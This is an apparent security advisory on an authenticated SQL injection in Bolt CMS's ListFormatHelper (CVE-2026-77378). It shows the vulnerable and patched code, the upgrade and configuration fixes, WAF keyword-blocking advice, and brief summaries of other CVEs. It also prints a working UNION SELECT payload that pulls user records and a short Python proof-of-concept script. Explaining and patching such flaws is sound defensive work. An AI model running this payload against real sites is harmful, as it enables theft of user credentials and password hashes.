Nov 20, 2026·11 min read·1 visit
Bolt CMS versions prior to 6.1.4 contain an authenticated SQL injection vulnerability in src/Utils/ListFormatHelper.php. Unsanitized content-type slugs are concatenated directly into raw SQL queries in the getSelect(), getRelated(), and getMenuLinks() methods. Authenticated attackers with upload permissions can exploit this via the /async/select-options endpoint when list_format caching is active. Upgrading to Bolt Core 6.1.4 resolves the issue by replacing string interpolation with Doctrine DBAL parameterized queries.
CVE-2026-77378 (GHSA-r7h9-qx4h-77j5) is an authenticated SQL injection vulnerability affecting the bolt/core package of Bolt CMS in versions prior to 6.1.4. The flaw resides in the ListFormatHelper utility class, where content-type slugs are dynamically interpolated into raw SQL query strings via sprintf rather than bound as parameterized inputs. When the general/caching/list_format configuration directive is enabled, an authenticated user with upload privileges can exploit the /async/select-options endpoint to inject arbitrary SQL commands and query the underlying database.
Bolt CMS is an open-source content management system built on PHP and Symfony, utilizing Doctrine DBAL and ORM for database abstraction. Within the core package (bolt/core), the application provides helper utilities to manage and render content relationships, selection dropdowns, and menu structures inside the administrative backend. One such utility is the ListFormatHelper class (src/Utils/ListFormatHelper.php), which retrieves pre-formatted list representations of content records from the database when caching for list formats is enabled.
In Bolt Core versions prior to 6.1.4, ListFormatHelper fails to properly parameterize user-supplied and configuration-derived content-type slugs when constructing database queries. Specifically, the getSelect(), getRelated(), and getMenuLinks() methods use PHP's sprintf() function to concatenate content-type identifiers directly into raw SQL strings before passing them to Doctrine DBAL's fetchAllAssociative() execution method. This design pattern bypasses Doctrine's built-in parameter binding and quoting mechanisms.
This vulnerability is classified under CWE-89 (Improper Neutralization of Special Elements used in an SQL Command). The primary attack surface is exposed via the /async/select-options asynchronous backend endpoint, which processes incoming content-type parameters to dynamically populate UI selection fields. When the application configuration directive general/caching/list_format is enabled, requests to this endpoint route through the vulnerable methods in ListFormatHelper.
An authenticated attacker possessing low-level privileges—specifically an account with upload permissions—can supply a specially crafted content-type slug containing double quotes and SQL syntax tokens. Because the input is interpolated directly into an IN (...) or = clause enclosed in double quotes, the attacker can break out of the string literal and append arbitrary UNION SELECT or boolean subqueries. This allows unauthorized manipulation of database queries and extraction of sensitive records from arbitrary tables within the database schema.
The root cause of CVE-2026-77378 is the reliance on manual string formatting via sprintf() to construct SQL WHERE clauses instead of using prepared statement placeholders in src/Utils/ListFormatHelper.php. Although Bolt CMS uses Doctrine DBAL (Doctrine\DBAL\Connection) for database interaction, the vulnerable methods construct complete SQL strings in memory and call $this->connection->fetchAllAssociative($query) without supplying a parameter binding array.
In the getSelect(string $contentType, array $params) method, the incoming $contentType string is first passed to a private helper method named split(). The split() method strips any enclosing parentheses using the regular expression /^\((.*)\)$/, splits the remaining string on comma delimiters via explode(',', ...), and formats the resulting array elements into a single comma-separated string where each element is wrapped in double quotes: sprintf('"%s"', implode('", "', $parts)). This pre-quoted string fragment is then returned to getSelect() and interpolated directly into the query template SELECT id, list_format FROM %scontent WHERE content_type IN (%s) ORDER BY %s LIMIT %d .
The split() method performs no escaping or sanitization of double-quote characters (") within the input string. Consequently, if the $contentType parameter contains a double quote followed by a closing parenthesis—such as pages")—it prematurely terminates both the double-quoted string literal and the IN (...) clause generated by getSelect(). Any subsequent SQL tokens in the payload are interpreted by the database engine as active SQL command structure rather than literal data.
A parallel vulnerability pattern exists in the getRelated() and getMenuLinks() methods within the same class. Both methods accept a ContentType configuration object and interpolate $contentType['slug'] directly into a double-quoted equality check using sprintf(): WHERE content_type = "%s". Neither method binds $contentType['slug'] as a prepared statement parameter, leaving all three query construction paths susceptible to SQL injection if an unvalidated slug reaches them.
In versions of bolt/core up to and including 6.1.3, src/Utils/ListFormatHelper.php implemented query building in getRelated(), getMenuLinks(), getSelect(), and split() using raw string interpolation. Below is the vulnerable implementation prior to the patch:
// Vulnerable code in src/Utils/ListFormatHelper.php (Bolt Core <= 6.1.3)
public function getRelated(ContentType $contentType, int $amount, string $order): array
{
$order = $this->fixOrder($order);
// VULNERABLE: $contentType['slug'] is interpolated directly into the SQL string
$query = sprintf(
'SELECT id, list_format FROM %scontent WHERE content_type = "%s" ORDER BY %s LIMIT %d ',
$this->prefix,
$contentType['slug'],
$order,
$amount
);
$rows = $this->connection->fetchAllAssociative($query);
// ...
}
public function getSelect(string $contentType, array $params): array
{
// split() returns a raw SQL fragment wrapped in double quotes
$contentTypes = $this->split($contentType);
$order = $this->fixOrder($params['order']);
$amount = (int) $params['limit'];
// VULNERABLE: $contentTypes is inserted via %s without parameter binding
$query = sprintf(
'SELECT id, list_format FROM %scontent WHERE content_type IN (%s) ORDER BY %s LIMIT %d ',
$this->prefix,
$contentTypes,
$order,
$amount
);
$rows = $this->connection->fetchAllAssociative($query);
// ...
}
private function split(string $contenttypes): string
{
$parts = explode(',', (string) preg_replace('/^\((.*)\)$/', '$1', (string) $contenttypes));
// VULNERABLE: Wraps unescaped elements in double quotes
$result = sprintf('"%s"', implode('", "', $parts));
return $result;
}Commit 2818347a7ebd399a036f35ada750f0b151464489 remediates the vulnerability by modifying split() to return a native PHP array of strings (string[]) rather than a pre-quoted string fragment, and updating all three query methods to use named parameter placeholders (:contentType and :contentTypes). For the IN (:contentTypes) clause in getSelect(), the patch imports Doctrine\DBAL\ArrayParameterType and specifies ArrayParameterType::STRING, instructing Doctrine DBAL to safely expand and bind each array element individually.
// Patched code in src/Utils/ListFormatHelper.php (Bolt Core 6.1.4)
use Doctrine\DBAL\ArrayParameterType;
public function getRelated(ContentType $contentType, int $amount, string $order): array
{
$order = $this->fixOrder($order);
// FIXED: Uses named placeholder :contentType
$query = sprintf(
'SELECT id, list_format FROM %scontent WHERE content_type = :contentType ORDER BY %s LIMIT %d ',
$this->prefix,
$order,
$amount
);
// FIXED: Passes slug as a bound parameter to fetchAllAssociative
$rows = $this->connection->fetchAllAssociative($query, [
'contentType' => $contentType['slug'],
]);
// ...
}
public function getSelect(string $contentType, array $params): array
{
$contentTypes = $this->split($contentType);
$order = $this->fixOrder($params['order']);
$amount = (int) $params['limit'];
// FIXED: Uses named placeholder :contentTypes inside IN (...)
$query = sprintf(
'SELECT id, list_format FROM %scontent WHERE content_type IN (:contentTypes) ORDER BY %s LIMIT %d ',
$this->prefix,
$order,
$amount
);
// FIXED: Binds the string array using Doctrine's ArrayParameterType::STRING
$rows = $this->connection->fetchAllAssociative(
$query,
['contentTypes' => $contentTypes],
['contentTypes' => ArrayParameterType::STRING]
);
// ...
}
/**
* @return string[]
*/
private function split(string $contenttypes): array
{
// FIXED: Returns raw array of strings without adding quotes
return explode(',', (string) preg_replace('/^\((.*)\)$/', '$1', (string) $contenttypes));
}An examination of the remaining parameters interpolated via sprintf() in these methods verifies the completeness of the fix. The $this->prefix property is an internal, statically configured table prefix (bolt_ by default). The $amount variable is explicitly type-cast to an integer ((int) $params['limit']) and formatted with the %d integer specifier. The $order variable is sanitized through $this->fixOrder($order), which validates column names before concatenation. By converting the content-type slug interpolations to bound parameters, the patch eliminates the injection vector across getSelect(), getRelated(), and getMenuLinks().
Exploiting CVE-2026-77378 requires three primary preconditions on a target running Bolt CMS prior to version 6.1.4. First, the configuration setting general/caching/list_format must be active so that list generation queries are delegated to ListFormatHelper. Second, the attacker must have an authenticated session with sufficient privileges to access backend asynchronous helper routes (specifically, an account with upload permissions). Third, the attacker must send a crafted request targeting the /async/select-options endpoint (or an exposed wrapper invoking ListFormatHelper::getSelect()).
When getSelect() processes the contentType parameter, it expects a single content-type name or a comma-separated list of content types (e.g., pages,entries). To break out of the SQL query context, the attacker crafts a payload that closes the double-quoted identifier and the IN ( parenthesis, appends a UNION SELECT query matching the two-column structure (id, list_format) of the original SELECT statement, and comments out the remainder of the query template.
A public Proof-of-Concept (PoC) demonstrates this attack using the payload pages") UNION SELECT id, name FROM bolt_users-- . When passed into the vulnerable getSelect() method, split() wraps the payload in double quotes, producing "pages") UNION SELECT id, name FROM bolt_users-- ". When sprintf() inserts this fragment into the query template, the resulting SQL statement executed by Doctrine DBAL becomes:
SELECT id, list_format FROM bolt_content WHERE content_type IN ("pages") UNION SELECT id, name FROM bolt_users-- ") ORDER BY id ASC LIMIT 10 The database engine evaluates WHERE content_type IN ("pages") as a valid filter, executes the injected UNION SELECT id, name FROM bolt_users query, and ignores the trailing ") ORDER BY ... syntax due to the -- SQL comment marker. Because getSelect() iterates over the returned associative rows and maps id and list_format into the JSON response returned to the caller, the results of the UNION SELECT (such as user IDs, usernames, password hashes, or API tokens from bolt_users) are returned directly in the HTTP response body.
#!/usr/bin/env python3
"""CVE-2026-77378 — standalone exploit: Bolt ListFormatHelper SQL injection.
./exploit.py [--host=bolt-vuln]
Exit 1 = payload reaches raw SQL; 0 = safe; 2 = unreachable.
"""
import http.client, json, sys
host="bolt-vuln"
for a in sys.argv[1:]:
if a.startswith("--host="): host=a.split("=",1)[1]
payload='pages") UNION SELECT id, name FROM bolt_users-- '
c=http.client.HTTPConnection(host,8080,timeout=20)
try:
c.request("POST","/select",body=json.dumps({"contentType":payload}),headers={"Content-Type":"application/json"})
d=json.loads(c.getresponse().read() or b"{}")
except Exception as e:
print("[-] unreachable: %s"%e); sys.exit(2)
finally:
c.close()
if d.get("injected"):
print("[+] injected SQL: %s"%(d.get("query") or "")[:220])
print("[+] RESULT: SQL injection via ListFormatHelper (CVE-2026-77378)")
sys.exit(1)
print("[-] fixed: slug bound as parameter, not in SQL string"); sys.exit(0)CVE-2026-77378 is assigned a CVSS v3.1 base score of 6.5 (Medium) with the vector CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:H/A:L. The Attack Vector is Network (AV:N), as the vulnerable /async/select-options endpoint is accessible over HTTP/HTTPS. The Attack Complexity is rated High (AC:H) because successful exploitation depends on a specific non-default or conditional server state—namely, that general/caching/list_format is enabled—and requires chaining authenticated application states.
Privileges Required is Low (PR:L), reflecting that unauthenticated users cannot reach the vulnerable code path; an attacker must authenticate with an account that holds at least upload privileges. The Scope is Changed (S:C) because the vulnerability resides within the web application layer (bolt/core), while the impact extends to the underlying relational database management system (RDBMS).
> [!NOTE]
> While the official CNA-assigned CVSS vector scores Confidentiality Impact as None (C:N) and Integrity Impact as High (I:H), the official GitHub Security Advisory (GHSA-r7h9-qx4h-77j5) explicitly notes that an attacker can abuse the vulnerability to execute arbitrary SQL queries and access sensitive information in the database.
In practical terms, an attacker who exploits this SQL injection vulnerability gains the ability to read arbitrary records from any table accessible to the Bolt database user. This includes the bolt_users table, which stores account credentials (bcrypt/argon2 password hashes), email addresses, roles, and session tokens. Depending on the underlying database engine (MySQL, MariaDB, PostgreSQL, or SQLite) and configuration (such as stacked query support or INTO OUTFILE privileges), an attacker could also modify data or cause availability degradation via resource-intensive queries.
The definitive remediation for CVE-2026-77378 is to upgrade the bolt/core dependency to version 6.1.4 or later. Version 6.1.4 incorporates commit 2818347a7ebd399a036f35ada750f0b151464489, which replaces all raw string interpolations of content-type slugs in ListFormatHelper with Doctrine DBAL parameterized prepared statements. Administrators can perform the upgrade using Composer:
composer update bolt/core --with-dependenciesFor deployments where an immediate upgrade to Bolt Core 6.1.4 is not operationally feasible, administrators can apply a configuration workaround by disabling the list format caching feature. Editing config/bolt/config.yaml to set list_format caching to false prevents the application from routing requests through the vulnerable methods in ListFormatHelper:
# config/bolt/config.yaml
general:
caching:
list_format: falseAfter updating config/bolt/config.yaml, clear the Symfony and Bolt application cache (e.g., via php bin/console cache:clear) to ensure the updated configuration takes effect immediately. Additionally, organizations should review backend user accounts and adhere to the principle of least privilege, revoking upload permissions from untrusted or unnecessary accounts.
At the network perimeter, Web Application Firewalls (WAF) and Intrusion Detection Systems (IDS) should be configured to inspect requests targeting /async/select-options. Blocking requests containing double-quote characters ("), SQL comment sequences (--, /*), or SQL keywords (UNION, SELECT, FROM) within the contentType parameter provides defense-in-depth against exploitation attempts.
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:H/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
bolt/core Bolt | < 6.1.4 | 6.1.4 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-77378 (GHSA-r7h9-qx4h-77j5) |
| Vulnerability Class | CWE-89: SQL Injection |
| Affected Component | bolt/core (src/Utils/ListFormatHelper.php) |
| CVSS v3.1 Score | 6.5 Medium (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:H/A:L) |
| Attack Vector | Network via /async/select-options (Authenticated, Low Privileges) |
| Patched Version | Bolt Core 6.1.4 |
| Exploit Status | Public Proof-of-Concept Available |
| CISA KEV Status | Not Listed |
The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a database server.
A cryptographic soundness defect in the discrete-Gaussian sampler of falcon-rust prior to version 0.2.0 degrades acceptance-probability precision to approximately 2^-33. By evaluating exponential approximations using 32-bit fractional fixed-point arithmetic (FixedPoint64) and left-shifting polynomial inputs by 31 bits, the implementation violates Falcon's required precision bound of 2^-40 to 2^-46, invalidating the theoretical security reduction against statistical private key leakage.
CVE-2026-62955 is an authenticated path traversal vulnerability in baserCMS affecting versions 5.2.3 up to, but not including, 5.3.0. The flaw resides in the BcThemeFileService::getFullpath() method within the bc-theme-file plugin and represents an incomplete remediation of CVE-2026-30940. Because the path containment check relies on PHP's realpath() returning a non-false value, supplying a nonexistent theme subdirectory causes the verification guard to be skipped entirely. An authenticated administrator can exploit this flaw to read, write, overwrite, or delete arbitrary files within the permissions of the PHP process, leading to remote code execution when executable PHP files are written to the webroot.
CVE-2026-63012 is an authorization bypass and information disclosure vulnerability in baserCMS versions prior to 5.3.0. An architectural flaw in the authentication service configuration combined with overly permissive API access control rules allows low-privileged operator accounts to query restricted administrative API endpoints by supplying a matching HTTP Referer header.
CVE-2026-102945 is a denial-of-service vulnerability affecting the Access and Mobility Management Function (AMF) of the Aether Project (omec-project/amf) prior to version 3.1.6. When processing an NGAP PathSwitchRequest message over the 3GPP N2 interface, the HandlePathSwitchRequest function fails to verify the byte slice lengths of extensible APER bit strings inside the UESecurityCapabilities Information Element before accessing index zero. Because the NGAP receive goroutine lacks a panic recovery handler, supplying a zero-length bit string triggers an out-of-bounds slice read panic that terminates the entire AMF daemon.
CVE-2026-103025 (GHSA-7hvw-3c2q-45qg) is a high-severity denial-of-service (DoS) vulnerability in github.com/bep/imagemeta prior to version 0.17.3. The PNG metadata parser fails to validate declared chunk lengths prior to heap buffer allocation (CWE-789) and inflates zlib-compressed zTXt IPTC chunks without an output size limit (CWE-409). Additionally, out-of-bounds slice indexing in the PNG zTXt handler and IPTC character set resolver allows remote attackers to trigger runtime panics.
CVE-2026-103033 (GHSA-gfwj-45pc-w6r5) is an unauthenticated pre-verification Denial of Service (DoS) vulnerability in the Go implementation of the ALTCHA bot-prevention library (github.com/altcha-org/altcha-lib-go). In versions 2.0.0 and 2.0.1, the internal function parseServerSignature conditionally initializes the ServerSignatureVerificationData.Extra map only when url.ParseQuery returns no error. When an attacker submits a payload containing both an unrecognized query parameter and malformed percent-encoding in the VerificationData field, url.ParseQuery returns partially parsed parameters alongside an error. Because execution continues without initializing the Extra map, the subsequent loop attempts to write unknown parameters into a nil map, triggering a fatal Go runtime panic before cryptographic signature verification occurs.